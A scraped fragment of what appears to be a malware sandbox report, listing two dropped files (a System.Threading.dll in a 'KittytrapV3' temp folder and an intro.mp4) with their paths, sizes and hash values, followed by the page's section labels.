T1C0044B265B880643E76F8A7C81E3664597B3A45707819BCB14C0C9E91F97BC3FB32267
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Threading.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Threading.dll
Size 82KB
SHA256 7175ac06b5908412692d2c2e124cb79f58aaee61ade19bb81118d14a92bb7694
MD5 ccb30dd6940a1943b8129bfe5da67d63
SHA1 e0d7d2cc0e425bc401b51b3148cc708ed6c2452c
SHA512 77e73d93df00ab1cbdb1d66a68ea886c89f11201be491136c0cb39fe6e986a94450a608d9b73d29f91f0db011a7009834d378e2e17202edc7eedea4ad0b2bd7d
SSDEEP 1536:cLVlwV2H8OyQwXeisjb9Rpd5bTF9o6zionNozn:cZlJH8OxwXdsf9RpHHF9o6GonKT
TLSH
T19F834B11B3E8090AF67B1779D6B75905C172FEE22B01D6CF4069D20D2FA77C096B226B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

intro.mp4

Path C:\Users\Admin\AppData\Local\Temp\intro.mp4
Size 19.4MB
SHA256 c4ff48a58f4c30d7c69d8e8f4271dda1a9738c452836c0687f56e3d185f44b22
MD5 3066f2ec5bff3df08fba01fa371fe521
SHA1 b630ab112ec22c082c800054b6c8223c739f5bdf
SHA512 c7a400a33a712de3062b249a8b622f9e13cfd36bb9d6f0e6121d64512087d7ba496a045b517eadc4adb450e29b71fa8c764ba7d002a6927e445d9065038c88d8
SSDEEP 393216:J1Am4Y9azm4Hix9bSEY3tNSneALt0cnmvFgpBz6QcDYLEG4NR1aJDr1w:v4Y9bxjYoFxrogpIaLEGm1aJDrq
TLSH
T1012733893319681DD77483BCCBE44354BAF2C649DA86D70BF926878C88F17964D83EC6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads